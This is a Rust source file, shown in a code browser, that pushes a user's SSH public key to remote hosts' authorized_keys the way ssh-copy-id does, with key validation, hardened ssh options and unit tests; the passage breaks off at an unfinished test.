Skip to main content

purple_ssh/
key_push.rs

1//! Push a public key onto a remote host's `~/.ssh/authorized_keys`.
2//!
3//! Equivalent of `ssh-copy-id` without the dependency: spawns a single
4//! ssh invocation per host, pipes the public key over stdin, and runs an
5//! idempotent shell snippet on the remote that creates `~/.ssh` if
6//! missing and appends the key only when it is not already present.
7//!
8//! The remote snippet never sees the pubkey via the shell command line
9//! (which would require fragile escaping). Stdin is the canonical channel
10//! for binary-ish content over SSH.
11
12use std::io::{Read, Write};
13use std::path::{Path, PathBuf};
14use std::process::{Command, Stdio};
15use std::sync::atomic::{AtomicBool, Ordering};
16use std::sync::{Arc, Mutex};
17
18use log::debug;
19
20use crate::snippet::ChildGuard;
21
22/// Outcome for one host in a push run. The renderer summarises these
23/// into a toast (when every entry is `Appended` / `AlreadyPresent`) or a
24/// sticky error block (when at least one is `Failed`). The two prompt
25/// variants leave the summary and open a dialog instead.
26#[derive(Debug, Clone, PartialEq, Eq)]
27pub enum KeyPushOutcome {
28    /// Pubkey was newly appended to the remote `authorized_keys`.
29    Appended,
30    /// Pubkey was already present in `authorized_keys`; nothing changed.
31    AlreadyPresent,
32    /// Push failed. Carries a scrubbed stderr excerpt (control chars
33    /// stripped, length-capped) so the user sees what went wrong without
34    /// leaking the full ssh-vvv firehose into the UI.
35    Failed(String),
36    /// ssh ended with `Permission denied` and the server still takes a
37    /// password. The TUI asks for one and pushes again. `host` is the hop
38    /// ssh named as refusing, which on a ProxyJump chain may be a bastion
39    /// rather than the target.
40    NeedsPassword {
41        detail: String,
42        host: Option<String>,
43    },
44    /// Strict host key checking refused a host that is not in
45    /// `known_hosts` yet. The TUI asks whether to trust it and pushes again.
46    /// `host` is the one ssh named, a bastion included.
47    UnknownHostKey {
48        detail: String,
49        host: Option<String>,
50    },
51}
52
53/// Authentication inputs for one host, resolved on the main thread before
54/// the worker spawns. `trust_new_host_key` is set only by the retry that
55/// follows the trust dialog.
56#[derive(Clone, Default, PartialEq, Eq)]
57pub struct PushAuth {
58    pub askpass: Option<String>,
59    pub session_password: Option<String>,
60    pub bw_session: Option<String>,
61    pub trust_new_host_key: bool,
62}
63
64// Hand-written so a stray `{:?}` can never print the password or the
65// Bitwarden token. Shows whether each is present, never its value.
66impl std::fmt::Debug for PushAuth {
67    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
68        f.debug_struct("PushAuth")
69            .field("askpass", &self.askpass)
70            .field("session_password", &self.session_password.is_some())
71            .field("bw_session", &self.bw_session.is_some())
72            .field("trust_new_host_key", &self.trust_new_host_key)
73            .finish()
74    }
75}
76
77/// The ssh child currently running, shared between the push worker and the
78/// UI thread. Esc and q terminate it through here, so a cancel acts within
79/// the SIGTERM grace window instead of waiting for ssh to give up.
80#[derive(Clone, Default)]
81pub struct InflightChild(Arc<Mutex<Option<Arc<ChildGuard>>>>);
82
83impl InflightChild {
84    fn set(&self, guard: Arc<ChildGuard>) {
85        *self.0.lock().unwrap_or_else(|e| e.into_inner()) = Some(guard);
86    }
87
88    fn clear(&self) {
89        self.0.lock().unwrap_or_else(|e| e.into_inner()).take();
90    }
91
92    /// Kill the running child, if any. A no-op between hosts.
93    pub fn terminate(&self) {
94        let guard = self.0.lock().unwrap_or_else(|e| e.into_inner()).take();
95        if let Some(g) = guard {
96            g.terminate();
97        }
98    }
99
100    #[cfg(test)]
101    pub(crate) fn is_set(&self) -> bool {
102        self.0.lock().unwrap_or_else(|e| e.into_inner()).is_some()
103    }
104}
105
106/// One row in the in-flight push result list. Populated as worker
107/// threads complete and surfaced to the UI via `AppEvent::KeyPushResult`.
108#[derive(Debug, Clone, PartialEq, Eq)]
109pub struct KeyPushResult {
110    pub alias: String,
111    pub outcome: KeyPushOutcome,
112}
113
114/// Reason recorded for a host the user aborted. Spelled once so the
115/// worker and the test that reads it cannot drift apart.
116const ABORTED: &str = "canceled";
117
118/// Maximum stderr length retained in `KeyPushOutcome::Failed`. Longer
119/// `ssh -v` output is truncated with an ellipsis so a single failure
120/// cannot blow out the sticky error overlay.
121const STDERR_BUDGET: usize = 200;
122
123/// Marker prefix written by the remote snippet on the final line of
124/// stdout. The prefix is unique enough that no realistic `.profile` or
125/// motd will collide. `classify_stdout` matches against this prefix so a
126/// shared-account host whose login banner echoes the word "APPENDED"
127/// cannot trick us into reporting success.
128const MARKER_APPENDED: &str = "__PURPLE_KEY_PUSH:APPENDED__";
129const MARKER_ALREADY_PRESENT: &str = "__PURPLE_KEY_PUSH:ALREADY_PRESENT__";
130const MARKER_APPEND_FAILED: &str = "__PURPLE_KEY_PUSH:APPEND_FAILED__";
131
132/// Remote shell snippet that idempotently appends the pubkey to
133/// `~/.ssh/authorized_keys`. The pubkey arrives on stdin via `$(cat)` so
134/// no shell quoting of the key content is needed locally.
135///
136/// Permission policy: `~/.ssh` is chmod 700 only when we just created
137/// it (so a deliberately group-readable directory managed by Ansible or
138/// similar is left alone), and `authorized_keys` is chmod 600 only when
139/// the file is fresh. Both invariants are enforced via short-circuit:
140/// the absence test runs before the create, and the chmod runs only on
141/// the create branch. sshd's StrictModes requires the dir to be 700, so
142/// a wide-open dir we created is tightened immediately.
143///
144/// CRLF defence: $PUBKEY is normalised with `tr -d '\r'` before both the
145/// dedup match and the append, so a CRLF-terminated source file cannot
146/// produce a fresh duplicate per push. The file side already strips CR
147/// before matching so authorized_keys files edited with Windows tooling
148/// dedup correctly too.
149///
150/// The append uses `|| { ... exit 1; }` so a failed write (ENOSPC,
151/// read-only mount) emits APPEND_FAILED instead of silently claiming
152/// success on the redirect's exit code.
153///
154/// Output contract (always the last non-empty line of stdout):
155/// - `__PURPLE_KEY_PUSH:APPENDED__`        - key was newly written
156/// - `__PURPLE_KEY_PUSH:ALREADY_PRESENT__` - key was already in file
157/// - `__PURPLE_KEY_PUSH:APPEND_FAILED__`   - append redirect failed
158/// - anything else                          - classified as Failed
159const REMOTE_SNIPPET: &str = r#"umask 077
160if [ ! -d ~/.ssh ]; then
161  mkdir -p ~/.ssh
162  chmod 700 ~/.ssh
163fi
164if [ ! -f ~/.ssh/authorized_keys ]; then
165  touch ~/.ssh/authorized_keys
166  chmod 600 ~/.ssh/authorized_keys
167fi
168PUBKEY=$(cat | tr -d '\r')
169if tr -d '\r' < ~/.ssh/authorized_keys 2>/dev/null | grep -qxF -- "$PUBKEY"; then
170  echo __PURPLE_KEY_PUSH:ALREADY_PRESENT__
171  exit 0
172fi
173printf '%s\n' "$PUBKEY" >> ~/.ssh/authorized_keys || { echo __PURPLE_KEY_PUSH:APPEND_FAILED__; exit 1; }
174echo __PURPLE_KEY_PUSH:APPENDED__
175"#;
176
177/// Parse the remote snippet's stdout into an outcome. Pure helper so the
178/// worker and tests share the same classification. Match is against the
179/// last non-empty line (stripped of trailing CR) so motd or login-banner
180/// output before the marker is tolerated.
181pub fn classify_stdout(stdout: &str) -> Option<KeyPushOutcome> {
182    let trimmed = stdout.trim();
183    let last = trimmed
184        .lines()
185        .map(|l| l.trim_end_matches('\r').trim())
186        .rfind(|l| !l.is_empty())?;
187    match last {
188        MARKER_APPENDED => Some(KeyPushOutcome::Appended),
189        MARKER_ALREADY_PRESENT => Some(KeyPushOutcome::AlreadyPresent),
190        MARKER_APPEND_FAILED => Some(KeyPushOutcome::Failed(
191            "remote append failed (disk full, read-only mount?)".to_string(),
192        )),
193        _ => None,
194    }
195}
196
197/// Scrub stderr for display in the UI. Drops ANSI escapes, control bytes,
198/// then caps at `STDERR_BUDGET` chars with an ellipsis. Joins multiple
199/// lines with a single space so the error sticky overlay can render the
200/// scrubbed text on one row.
201fn scrub_stderr(raw: &str) -> String {
202    let cleaned: String = raw
203        .chars()
204        .filter(|c| !c.is_control() || *c == '\n')
205        .collect();
206    let joined = cleaned
207        .lines()
208        .map(str::trim)
209        .filter(|l| !l.is_empty())
210        .collect::<Vec<_>>()
211        .join(" ");
212    if joined.chars().count() > STDERR_BUDGET {
213        joined.chars().take(STDERR_BUDGET).collect::<String>() + "..."
214    } else {
215        joined
216    }
217}
218
219/// Build the ssh command for one push. Pure, so tests can inspect argv and
220/// env without spawning anything.
221///
222/// The child never reaches the tty: strict host key checking turns an
223/// unknown host into an error (`accept-new` on the retry after the trust
224/// dialog) and `BatchMode=yes` turns a password prompt into `Permission
225/// denied` when neither a source nor a session password can answer it.
226pub(crate) fn build_push_command(alias: &str, config_path: &Path, auth: &PushAuth) -> Command {
227    let mut cmd = Command::new("ssh");
228    cmd.arg("-F")
229        .arg(config_path)
230        .arg("-T")
231        .arg("-o")
232        .arg("ConnectTimeout=10")
233        // ServerAliveInterval/CountMax bound the post-auth phase:
234        // ConnectTimeout only covers the TCP/handshake. Without these,
235        // a remote NFS-stalled `~/.ssh/authorized_keys` or a hung shell
236        // could block the wait indefinitely. 10s × 3 = 30s worst case
237        // after auth before SSH tears down the session.
238        .arg("-o")
239        .arg("ServerAliveInterval=10")
240        .arg("-o")
241        .arg("ServerAliveCountMax=3")
242        .arg("-o")
243        .arg("ControlMaster=no")
244        .arg("-o")
245        .arg("ControlPath=none");
246    let strict = if auth.trust_new_host_key {
247        "StrictHostKeyChecking=accept-new"
248    } else {
249        "StrictHostKeyChecking=yes"
250    };
251    cmd.arg("-o")
252        .arg(strict)
253        .arg("-o")
254        .arg(crate::askpass_env::SINGLE_PASSWORD_PROMPT_OPT);
255    if crate::askpass_env::needs_batch_mode(
256        auth.askpass.as_deref(),
257        auth.session_password.as_deref(),
258    ) {
259        cmd.arg("-o").arg(crate::askpass_env::BATCH_MODE_OPT);
260    }
261    cmd.arg("--")
262        .arg(alias)
263        .arg(REMOTE_SNIPPET)
264        .stdin(Stdio::piped())
265        .stdout(Stdio::piped())
266        .stderr(Stdio::piped());
267
268    crate::askpass_env::configure_auth(
269        &mut cmd,
270        alias,
271        config_path,
272        auth.askpass.as_deref(),
273        auth.session_password.as_deref(),
274        auth.bw_session.as_deref(),
275    );
276
277    // Own process group: cancel and shutdown signal ssh together with any
278    // ProxyCommand it spawned. A Ctrl+C aimed at purple never reaches them.
279    #[cfg(unix)]
280    // SAFETY: pre_exec runs after fork, before exec in the child. setpgid(0, 0)
281    // is async-signal-safe (POSIX) and touches no Rust runtime state. The
282    // return value is ignored: a failed setpgid leaves ssh in purple's group,
283    // which still pushes.
284    unsafe {
285        use std::os::unix::process::CommandExt;
286        cmd.pre_exec(|| {
287            libc::setpgid(0, 0);
288            Ok(())
289        });
290    }
291    cmd
292}
293
294/// Push `pubkey` to the remote `alias` over SSH. Synchronous: spawns the
295/// command from `build_push_command`, pipes `pubkey` to stdin, waits for the
296/// child to finish and returns the parsed outcome. The cancel flag is
297/// observed before the spawn so a rapid Esc after launching the batch can
298/// short-circuit pending hosts. The running child is registered in
299/// `inflight` so the same Esc can kill it mid-connection.
300pub fn push_to_host(
301    pubkey: &str,
302    alias: &str,
303    config_path: &Path,
304    auth: &PushAuth,
305    cancel: &Arc<AtomicBool>,
306    inflight: &InflightChild,
307) -> KeyPushOutcome {
308    if cancel.load(Ordering::Relaxed) {
309        return KeyPushOutcome::Failed(ABORTED.to_string());
310    }
311
312    let mut cmd = build_push_command(alias, config_path, auth);
313
314    let mut child = match cmd.spawn() {
315        Ok(c) => c,
316        Err(e) => {
317            debug!("[purple] key_push: spawn failed alias={} err={}", alias, e);
318            return KeyPushOutcome::Failed(format!("spawn ssh: {}", e));
319        }
320    };
321
322    let stdin = child.stdin.take();
323    let stdout_pipe = child.stdout.take();
324    let stderr_pipe = child.stderr.take();
325    let guard = Arc::new(ChildGuard::new(child));
326    inflight.set(Arc::clone(&guard));
327
328    // Pipe the pubkey with a trailing newline so `printf '%s\n' "$PUBKEY"`
329    // on the remote produces an exact `authorized_keys` line.
330    if let Some(mut stdin) = stdin {
331        let payload = if pubkey.ends_with('\n') {
332            pubkey.to_string()
333        } else {
334            format!("{}\n", pubkey)
335        };
336        if let Err(e) = stdin.write_all(payload.as_bytes()) {
337            debug!(
338                "[purple] key_push: stdin write failed alias={} err={}",
339                alias, e
340            );
341            guard.terminate();
342            inflight.clear();
343            return KeyPushOutcome::Failed(format!("write pubkey: {}", e));
344        }
345        // Drop stdin so the remote `cat` receives EOF.
346        drop(stdin);
347    }
348
349    // Drain both pipes before waiting so a chatty remote cannot block on a
350    // full pipe while we block on wait.
351    let stderr_reader = std::thread::spawn(move || {
352        let mut buf = Vec::new();
353        if let Some(mut pipe) = stderr_pipe {
354            let _ = pipe.read_to_end(&mut buf);
355        }
356        buf
357    });
358    let mut stdout_buf = Vec::new();
359    if let Some(mut pipe) = stdout_pipe {
360        let _ = pipe.read_to_end(&mut stdout_buf);
361    }
362    let stderr_buf = stderr_reader.join().unwrap_or_default();
363
364    let status = guard.wait();
365    inflight.clear();
366
367    let Some(status) = status else {
368        debug!("[purple] key_push: wait failed alias={}", alias);
369        return KeyPushOutcome::Failed("wait ssh: child already reaped".to_string());
370    };
371
372    if cancel.load(Ordering::Relaxed) {
373        debug!(
374            "[purple] key_push: cancel hit mid-connection alias={}",
375            alias
376        );
377        return KeyPushOutcome::Failed(ABORTED.to_string());
378    }
379
380    let stdout = String::from_utf8_lossy(&stdout_buf);
381    let stderr = String::from_utf8_lossy(&stderr_buf);
382
383    if !status.success() {
384        // Classify on the raw stderr: the scrubbed excerpt is capped and a
385        // long warning prefix could push the decisive line past the cap.
386        let filtered = crate::file_browser::filter_ssh_warnings(&stderr);
387        let scrubbed = scrub_stderr(&filtered);
388        let msg = if scrubbed.is_empty() {
389            format!("ssh exited {}", status)
390        } else {
391            scrubbed
392        };
393        if crate::connection::is_unknown_host_key(&stderr) {
394            let host = crate::connection::unknown_host_key_host(&stderr).map(str::to_string);
395            debug!(
396                "[purple] key_push: unknown host key alias={} host={:?} status={}",
397                alias, host, status
398            );
399            return KeyPushOutcome::UnknownHostKey { detail: msg, host };
400        }
401        if crate::connection::needs_password(&stderr) {
402            let host = crate::connection::denied_host(&stderr).map(str::to_string);
403            debug!(
404                "[purple] key_push: needs password alias={} refused_by={:?} status={}",
405                alias, host, status
406            );
407            return KeyPushOutcome::NeedsPassword { detail: msg, host };
408        }
409        debug!(
410            "[purple] key_push: failed alias={} status={} stderr={}",
411            alias, status, msg
412        );
413        return KeyPushOutcome::Failed(msg);
414    }
415
416    match classify_stdout(&stdout) {
417        Some(outcome) => {
418            debug!("[purple] key_push: alias={} outcome={:?}", alias, outcome);
419            outcome
420        }
421        None => {
422            let preview = scrub_stderr(&stdout);
423            KeyPushOutcome::Failed(format!(
424                "unexpected snippet output: {}",
425                if preview.is_empty() {
426                    "(empty)"
427                } else {
428                    &preview
429                }
430            ))
431        }
432    }
433}
434
435/// Maximum size of a `.pub` file we will accept. OpenSSH's RSA-8192 keys
436/// serialise to ~3 KiB; we cap at 16 KiB to leave headroom for comments
437/// and reject pathological inputs (symlinks to logs, /dev/urandom).
438pub const PUBKEY_MAX_BYTES: u64 = 16 * 1024;
439
440/// Public-key type tokens we will push. Limited to the OpenSSH algorithms
441/// that produce valid `authorized_keys` entries. Cert tokens (e.g.
442/// `ssh-ed25519-cert-v01@openssh.com`) are intentionally excluded: pushing
443/// a certificate as a static key bypasses its TTL.
444const ALLOWED_KEY_TYPES: &[&str] = &[
445    "ssh-rsa",
446    "ssh-ed25519",
447    "ssh-dss",
448    "ecdsa-sha2-nistp256",
449    "ecdsa-sha2-nistp384",
450    "ecdsa-sha2-nistp521",
451    "sk-ssh-ed25519@openssh.com",
452    "sk-ecdsa-sha2-nistp256@openssh.com",
453];
454
455/// Validation outcome for a public-key file's contents.
456#[derive(Debug, Clone, PartialEq, Eq)]
457pub enum PubkeyValidationError {
458    Empty,
459    MultiLine,
460    UnsupportedType(String),
461    MalformedBase64,
462    TooLarge(u64),
463    NotARegularFile,
464}
465
466/// Parse and validate a `.pub` file's contents into a single canonical
467/// `authorized_keys` line. Rejects multi-line input (which would silently
468/// install several keys, including embedded `command=` clauses), unknown
469/// algorithms, and unparseable base64 bodies. The returned string is
470/// trimmed of trailing whitespace / CR so the remote `grep -qxF` dedup
471/// step matches byte-for-byte across pushes.
472pub fn validate_pubkey(raw: &str) -> Result<String, PubkeyValidationError> {
473    let trimmed = raw.trim_end_matches(['\n', '\r', ' ', '\t']);
474    if trimmed.is_empty() {
475        return Err(PubkeyValidationError::Empty);
476    }
477    if trimmed.lines().count() != 1 {
478        return Err(PubkeyValidationError::MultiLine);
479    }
480    let mut parts = trimmed.splitn(3, ' ');
481    let typ = parts.next().unwrap_or("");
482    let blob = parts.next().unwrap_or("");
483    if !ALLOWED_KEY_TYPES.contains(&typ) {
484        return Err(PubkeyValidationError::UnsupportedType(typ.to_string()));
485    }
486    if blob.is_empty() {
487        return Err(PubkeyValidationError::MalformedBase64);
488    }
489    use base64::Engine;
490    if base64::engine::general_purpose::STANDARD
491        .decode(blob.as_bytes())
492        .is_err()
493    {
494        return Err(PubkeyValidationError::MalformedBase64);
495    }
496    Ok(trimmed.to_string())
497}
498
499/// Read a `.pub` file with a hard byte cap and reject anything that is
500/// not a regular file. On Unix the open uses `O_NOFOLLOW` so a symlink at
501/// the .pub path errors out instead of silently dereferencing into a log
502/// file or `/dev/urandom`.
503pub fn read_pubkey_file(path: &Path) -> Result<String, PubkeyValidationError> {
504    use std::io::Read;
505    let mut opts = std::fs::OpenOptions::new();
506    opts.read(true);
507    #[cfg(unix)]
508    {
509        use std::os::unix::fs::OpenOptionsExt;
510        opts.custom_flags(libc::O_NOFOLLOW);
511    }
512    let f = opts
513        .open(path)
514        .map_err(|_| PubkeyValidationError::NotARegularFile)?;
515    let meta = f
516        .metadata()
517        .map_err(|_| PubkeyValidationError::NotARegularFile)?;
518    if !meta.file_type().is_file() {
519        return Err(PubkeyValidationError::NotARegularFile);
520    }
521    if meta.len() > PUBKEY_MAX_BYTES {
522        return Err(PubkeyValidationError::TooLarge(meta.len()));
523    }
524    let mut buf = String::new();
525    f.take(PUBKEY_MAX_BYTES)
526        .read_to_string(&mut buf)
527        .map_err(|_| PubkeyValidationError::NotARegularFile)?;
528    Ok(buf)
529}
530
531/// Resolve the local public-key path for a key whose `display_path` is
532/// `~/.ssh/id_ed25519`. Expands the tilde and appends `.pub`. The caller
533/// is expected to validate the file exists before reading.
534pub fn pubkey_path_for(paths: Option<&crate::runtime::env::Paths>, display_path: &str) -> PathBuf {
535    let with_pub = format!("{}.pub", display_path);
536    if let Some(rest) = with_pub.strip_prefix("~/")
537        && let Some(p) = paths
538    {
539        return p.home().join(rest);
540    }
541    PathBuf::from(with_pub)
542}
543
544#[cfg(test)]
545mod tests {
546    use super::*;
547
548    #[test]
549    fn classify_stdout_appended() {
550        assert_eq!(
551            classify_stdout("__PURPLE_KEY_PUSH:APPENDED__\n"),
552            Some(KeyPushOutcome::Appended)
553        );
554    }
555
556    #[test]
557    fn classify_stdout_already_present() {
558        assert_eq!(
559            classify_stdout("__PURPLE_KEY_PUSH:ALREADY_PRESENT__\n"),
560            Some(KeyPushOutcome::AlreadyPresent)
561        );
562    }
563
564    #[test]
565    fn classify_stdout_append_failed() {
566        match classify_stdout("__PURPLE_KEY_PUSH:APPEND_FAILED__\n") {
567            Some(KeyPushOutcome::Failed(_)) => {}
568            other => panic!("expected Failed, got {:?}", other),
569        }
570    }
571
572    #[test]
573    fn classify_stdout_motd_then_marker() {
574        // SSH-of-the-day banners or `.profile` output may print before
575        // our marker. Last non-empty line still wins.
576        let stdout = "Welcome to Ubuntu 22.04\nLast login: ...\n__PURPLE_KEY_PUSH:APPENDED__\n";
577        assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
578    }
579
580    #[test]
581    fn classify_stdout_motd_word_collision_does_not_match() {
582        // Adversarial: a banner that contains the bare word "APPENDED"
583        // must NOT be classified as success. The namespaced marker
584        // prevents collision.
585        let stdout = "Welcome. APPENDED was a great patch.\nhave a good day\n";
586        assert_eq!(classify_stdout(stdout), None);
587    }
588
589    #[test]
590    fn classify_stdout_crlf_line_endings() {
591        // Some shells emit CRLF over SSH ptys. The classifier strips the
592        // trailing CR so the marker still matches.
593        let stdout = "Welcome\r\n__PURPLE_KEY_PUSH:APPENDED__\r\n";
594        assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
595    }
596
597    #[test]
598    fn classify_stdout_unknown_returns_none() {
599        assert_eq!(classify_stdout("hello\nworld\n"), None);
600    }
601
602    #[test]
603    fn classify_stdout_empty_returns_none() {
604        assert_eq!(classify_stdout(""), None);
605        assert_eq!(classify_stdout("\n\n"), None);
606    }
607
608    #[test]
609    fn scrub_stderr_drops_control_bytes() {
610        // ANSI-stripped: ESC[31mError\x1b[0m
611        let raw = "\x1b[31mError: connection refused\x1b[0m\n";
612        let scrubbed = scrub_stderr(raw);
613        assert!(!scrubbed.contains('\x1b'));
614        assert!(scrubbed.contains("Error"));
615    }
616
617    #[test]
618    fn scrub_stderr_joins_lines() {
619        let raw = "line1\nline2\nline3\n";
620        assert_eq!(scrub_stderr(raw), "line1 line2 line3");
621    }
622
623    #[test]
624    fn scrub_stderr_truncates_long_input() {
625        let raw = "x".repeat(STDERR_BUDGET * 2);
626        let scrubbed = scrub_stderr(&raw);
627        assert!(scrubbed.ends_with("..."));
628        assert!(scrubbed.chars().count() <= STDERR_BUDGET + 3);
629    }
630
631    #[test]
632    fn scrub_stderr_empty_input() {
633        assert_eq!(scrub_stderr(""), "");
634        assert_eq!(scrub_stderr("   \n\n  \n"), "");
635    }
636
637    #[test]
638    fn pubkey_path_appends_pub_suffix() {
639        let p = pubkey_path_for(None, "/tmp/id_ed25519");
640        assert_eq!(p.to_string_lossy(), "/tmp/id_ed25519.pub");
641    }
642
643    #[test]
644    fn pubkey_path_expands_tilde() {
645        let paths = crate::runtime::env::Paths::new("/home/u");
646        let p = pubkey_path_for(Some(&paths), "~/.ssh/id_ed25519");
647        assert!(!p.to_string_lossy().starts_with('~'));
648        assert!(p.to_string_lossy().ends_with(".ssh/id_ed25519.pub"));
649    }
650
651    #[test]
652    fn push_to_host_short_circuits_when_cancel_is_set() {
653        // Cancel before spawn must return the abort reason without
654        // touching ssh. We point at a path that does not exist on disk
655        // so a buggy implementation that DID try to spawn would fail
656        // loudly instead of silently succeeding.
657        let cancel = Arc::new(AtomicBool::new(true));
658        let inflight = InflightChild::default();
659        let outcome = push_to_host(
660            "ssh-ed25519 AAAA test@host",
661            "this-alias-does-not-exist",
662            std::path::Path::new("/tmp/purple-nonexistent-config"),
663            &PushAuth::default(),
664            &cancel,
665            &inflight,
666        );
667        match outcome {
668            KeyPushOutcome::Failed(msg) => {
669                assert!(
670                    msg.contains("cancel"),
671                    "expected cancel message, got: {}",
672                    msg
673                );
674            }
675            other => panic!("expected Failed(cancelled), got {:?}", other),
676        }
677        assert!(!inflight.is_set(), "no child was spawned");
678    }
679
680    #[test]
681    fn push_to_host_against_missing_config_fails_and_clears_inflight() {
682        // A real spawn against a config path that does not exist: ssh
683        // exits at once with a non-zero status. The inflight slot must be
684        // empty afterwards so a later cancel never signals a reaped PID.
685        let cancel = Arc::new(AtomicBool::new(false));
686        let inflight = InflightChild::default();
687        let outcome = push_to_host(
688            "ssh-ed25519 AAAA test@host",
689            "this-alias-does-not-exist",
690            std::path::Path::new("/tmp/purple-nonexistent-config"),
691            &PushAuth::default(),
692            &cancel,
693            &inflight,
694        );
695        assert!(
696            matches!(outcome, KeyPushOutcome::Failed(_)),
697            "got {outcome:?}"
698        );
699        assert!(!inflight.is_set());
700    }
701
702    #[test]
703    fn inflight_terminate_kills_a_running_child() {
704        // A `sleep` in its own process group stands in for a stuck ssh.
705        let mut cmd = Command::new("sleep");
706        cmd.arg("30");
707        #[cfg(unix)]
708        // SAFETY: setpgid(0, 0) is async-signal-safe and the closure touches
709        // no Rust runtime state.
710        unsafe {
711            use std::os::unix::process::CommandExt;
712            cmd.pre_exec(|| {
713                libc::setpgid(0, 0);
714                Ok(())
715            });
716        }
717        let child = cmd.spawn().expect("spawn sleep");
718        let guard = Arc::new(ChildGuard::new(child));
719        let inflight = InflightChild::default();
720        inflight.set(Arc::clone(&guard));
721        assert!(inflight.is_set());
722        let started = std::time::Instant::now();
723        inflight.terminate();
724        // Esc and quit both call this from the UI thread, so it signals and
725        // returns rather than standing through the grace window.
726        assert!(
727            started.elapsed() < std::time::Duration::from_millis(100),
728            "terminate held the caller for {:?}",
729            started.elapsed()
730        );
731        assert!(!inflight.is_set());
732        // The owner's wait returns promptly with the signal status.
733        let status = guard.wait();
734        assert!(started.elapsed() < std::time::Duration::from_secs(5));
735        assert!(status.is_some_and(|s| !s.success()));
736    }
737
738    #[cfg(unix)]
739    #[test]
740    fn a_child_that_ignores_sigterm_is_killed_by_the_waiting_thread() {
741        // terminate only signals now, so the escalation has to come from
742        // whichever thread is in wait. A shell that traps SIGTERM proves it.
743        // The shell ignores SIGTERM and outlives the `sleep` children that
744        // do take it, so only SIGKILL ends this process group.
745        let mut cmd = Command::new("sh");
746        cmd.arg("-c")
747            .arg("trap '' TERM; while :; do sleep 0.05; done");
748        // SAFETY: setpgid(0, 0) is async-signal-safe and the closure touches
749        // no Rust runtime state.
750        unsafe {
751            use std::os::unix::process::CommandExt;
752            cmd.pre_exec(|| {
753                libc::setpgid(0, 0);
754                Ok(())
755            });
756        }
757        let child = cmd.spawn().expect("spawn sh");
758        let guard = Arc::new(ChildGuard::new(child));
759        // Let the shell reach its `trap` first. Signaled before that, it
760        // dies on SIGTERM like any other process and proves nothing.
761        std::thread::sleep(std::time::Duration::from_millis(300));
762        // The waiter reports through a channel rather than a join, so a
763        // broken escalation fails this test instead of hanging the suite.
764        let (tx, rx) = std::sync::mpsc::channel();
765        {
766            let guard = Arc::clone(&guard);
767            std::thread::spawn(move || {
768                let _ = tx.send(guard.wait());
769            });
770        }
771        let started = std::time::Instant::now();
772        guard.terminate();
773        assert!(
774            started.elapsed() < std::time::Duration::from_millis(100),
775            "terminate held the caller for {:?}",
776            started.elapsed()
777        );
778        let status = rx
779            .recv_timeout(std::time::Duration::from_secs(5))
780            .expect("the waiting thread must escalate to SIGKILL");
781        use std::os::unix::process::ExitStatusExt;
782        assert_eq!(
783            status.and_then(|s| s.signal()),
784            Some(libc::SIGKILL),
785            "SIGTERM was ignored, so only SIGKILL can have ended it"
786        );
787    }
788
789    fn push_args(auth: &PushAuth) -> Vec<String> {
790        build_push_command("web1", std::path::Path::new("/tmp/cfg"), auth)
791            .get_args()
792            .map(|a| a.to_string_lossy().into_owned())
793            .collect()
794    }
795
796    fn push_env_names(auth: &PushAuth) -> Vec<String> {
797        build_push_command("web1", std::path::Path::new("/tmp/cfg"), auth)
798            .get_envs()
799            .filter_map(|(k, v)| v.map(|_| k.to_string_lossy().into_owned()))
800            .collect()
801    }
802
803    fn has_opt(args: &[String], value: &str) -> bool {
804        args.windows(2).any(|w| w[0] == "-o" && w[1] == value)
805    }
806
807    #[test]
808    fn build_push_command_without_auth_sets_batch_mode_and_no_askpass() {
809        let auth = PushAuth::default();
810        let args = push_args(&auth);
811        assert!(has_opt(&args, "BatchMode=yes"), "got: {args:?}");
812        assert!(has_opt(&args, "StrictHostKeyChecking=yes"), "got: {args:?}");
813        assert!(push_env_names(&auth).is_empty());
814    }
815
816    #[test]
817    fn build_push_command_with_source_wires_askpass_without_batch_mode() {
818        let auth = PushAuth {
819            askpass: Some("keychain".into()),
820            ..Default::default()
821        };
822        let args = push_args(&auth);
823        assert!(!has_opt(&args, "BatchMode=yes"), "got: {args:?}");
824        let names = push_env_names(&auth);
825        assert!(names.iter().any(|n| n == "SSH_ASKPASS"));
826        assert!(names.iter().any(|n| n == "SSH_ASKPASS_REQUIRE"));
827    }
828
829    #[test]
830    fn build_push_command_with_session_password_uses_oneshot_channel() {
831        let auth = PushAuth {
832            session_password: Some("hunter2".into()),
833            ..Default::default()
834        };
835        let args = push_args(&auth);
836        assert!(!has_opt(&args, "BatchMode=yes"), "got: {args:?}");
837        assert!(args.iter().all(|a| a != "hunter2"), "secret in argv");
838        let names = push_env_names(&auth);
839        assert!(names.iter().any(|n| n == "SSH_ASKPASS"));
840        assert!(
841            names
842                .iter()
843                .any(|n| n == crate::askpass_env::ONESHOT_SECRET_VAR)
844        );
845    }
846
847    #[test]
848    fn build_push_command_forwards_bw_session() {
849        let auth = PushAuth {
850            askpass: Some("bw:item".into()),
851            bw_session: Some("tok".into()),
852            ..Default::default()
853        };
854        assert!(push_env_names(&auth).iter().any(|n| n == "BW_SESSION"));
855    }
856
857    #[test]
858    fn build_push_command_always_limits_ssh_to_one_password_attempt() {
859        // A background run has one answer to give. A second prompt only
860        // sends an empty attempt and burns another failed login.
861        for auth in [
862            PushAuth::default(),
863            PushAuth {
864                askpass: Some("keychain".into()),
865                ..Default::default()
866            },
867            PushAuth {
868                session_password: Some("hunter2".into()),
869                ..Default::default()
870            },
871        ] {
872            let args = push_args(&auth);
873            assert!(has_opt(&args, "NumberOfPasswordPrompts=1"), "got: {args:?}");
874        }
875    }
876
877    #[test]
878    fn build_push_command_trust_retry_uses_accept_new() {
879        let auth = PushAuth {
880            trust_new_host_key: true,
881            ..Default::default()
882        };
883        let args = push_args(&auth);
884        assert!(
885            has_opt(&args, "StrictHostKeyChecking=accept-new"),
886            "got: {args:?}"
887        );
888        assert!(!has_opt(&args, "StrictHostKeyChecking=yes"));
889    }
890
891    #[test]
892    fn build_push_command_options_precede_the_separator() {
893        let args = push_args(&PushAuth::default());
894        let sep = args.iter().position(|a| a == "--").expect("-- present");
895        let last_opt = args.iter().rposition(|a| a == "-o").expect("-o present");
896        assert!(last_opt < sep, "got: {args:?}");
897        assert_eq!(args[sep + 1], "web1");
898        assert_eq!(args[sep + 2], REMOTE_SNIPPET);
899    }
900
901    #[test]
